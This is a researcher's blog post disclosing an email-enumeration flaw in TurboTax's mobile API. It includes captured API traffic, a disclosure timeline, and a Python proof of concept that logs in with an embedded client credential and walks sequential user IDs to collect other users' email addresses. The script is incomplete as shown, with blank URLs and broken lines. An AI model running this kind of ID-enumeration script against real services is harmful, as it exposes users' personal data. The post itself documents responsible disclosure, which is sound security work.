Privacy Vulnerability in TurboTax’s API

In the spirit of tax day, I wanted to write about my experience in reporting a privacy vulnerability in the most popular tax preparation software on the market: Intuit’s TurboTax. I have been using TurboTax for quite a few years for my taxes and this year I found they offered an Android app. At first, I wondered if people really did taxes on their phone, though in Intuit’s defense, the app looks to be catered more towards tablets. Being that TurboTax contains some of my most sensitive data available, I decided to take a closer look into their app. This led to my discovery of a vulnerability allowing email account enumeration of every user in their system. Though not exactly a critical vulnerability, it was a privacy issue worth reporting and fixing nonetheless.

Capturing the web requests, I noticed an interesting call to fetch my user info:

Authorization: ***REMOVED***
Accept: application/json
offeringInfo: {"sku":"0","priorityCode":"1877700000"}
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build/KOT49H)
Connection: Keep-Alive
Accept-Encoding: gzip

The response is below:

    "userId": "165140357",
    "username": "rwestergren05",
    "namespaceId": "50000003",
    "securityLevel": "HIGH",
    "challengeQuestionAnswer": [
            "question": "What was the make of your first car?",
            "answer": "***REMOVED***"
    "email": {
        "primary": true,
        "address": "***REMOVED***",
        "status": "UNKNOWN"

It’s a common design pattern to use /me  as a parameter in order to fetch the current user’s information, rather than specifying his userId . In these cases, the last URI segment will usually also accept a userId to provide access to profile information of other users in the app. The following URL (using my userId ) received the same response as above: . Next, I wanted to see the response when requesting the information of other users. Decrementing this ID by one and performing the same request produced the following response:

    "email": "***REMOVED***"

The endpoint at least made a distinction between the logged in user and the userId  being requested, though it still exposed the email address of every user in the system. Again, not an earth-shattering vulnerability but users typically don’t like their email addresses exposed for any malicious actor to harvest and use for spam.

I wrote the following PoC to demonstrate the exploit for Intuit’s security team:

import requests

# Substitute valid credentials
validUsername = "rwestergren05"
validPassword = ""

def do_login(username, password):
    Get temp access_token
    bearer_url = ""
    data = "grant_type=client_credentials"
    bearer_headers = {
        "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
        "Authorization": "Basic cTBpN0ozcjRHNmt0ME5aOXRLd0dXbTJ1STlBN3hVSXVkN2FLTk9VQ01LbEVzNW1hbFY6Y0ZacXRxajk3bmlmd"

    r =, data=data, headers=bearer_headers)

    temp_token = r.json().get("access_token")

    Sign in, get authorization code
    url = ""
    data = '{"oauth2CodeRequest":{"clientId":"q0i7J3r4G6kt0NZ9tKwGWm2uI9A7xUIud7aKNOUCMKlEs5malV","redirectUri":""},"password":"%s","username":"%s"}' % (password, username)
    headers = {
        "Content-Type": "application/json",
        "Authorization": "Bearer " + temp_token,
        "intuit_risk_profiling_data": "880c2310-4440-11e4-916c-0800200c9a66&wl6hiim5yltpyf59p32g2e0ph9t4f170"

    r =, data=data, headers=headers)

    code = r.json().get("oauth2CodeResponse").get("code")

    Exchange authorization code for access_token
    data = "grant_type=authorization_code&code=" + code + "&"

    r =, data=data, headers=bearer_headers)

    access_token = r.json().get("access_token")

    print("Access Token: " + access_token)
    return access_token

access_token = do_login(username=validUsername, password=validPassword)

url = ""

headers = {"Authorization": "Bearer " + access_token}

mid = 165140356

count = 0
limit = 5

while count < limit:

    get_url = url + "%d" % mid

    r = requests.get(get_url, headers=headers)

    if "INVALID_IDENTITY_ID" not in r.text:
        count += 1

    mid -= 1

I was impressed that Intuit actually had an official process for reporting security vulnerabilities, making it easy to contact the correct team to patch the issue.

Disclosure Timeline

2015-01-12: Initial report sent
2015-01-13: Received response requesting more details
2015-01-13: Sent detailed PoC (above)
2015-01-20: Received response that they’re validating the issue
2015-01-21: Received response asking for my output when running PoC
2015-01-21: Sent example output
2015-01-21: Acknowledgment of vulnerability, remediation in progress
2015-01-27: I follow up on status of fix
2015-01-31: Update received: mitigation controls in place, patch planned
2015-02-05: Update received: abuse monitoring in place, but patch still scheduled. No API abuse found.
2015-02-26: Update received: Fix released and confirmed

Intuit was extremely responsive during this process. The report came at their busiest time of the year and, while the full fix timeline may seem extended, they immediately took measures to monitor any abuse of the vulnerability. As Intuit explained, their objective was to keep customer data safe while making sure there was little service interruption to customers during the mitigation process. Intuit’s security team expressed their thorough appreciation for my report and added me to their Security Researcher Acknowledgements page.

Share this: Facebooktwitterlinkedin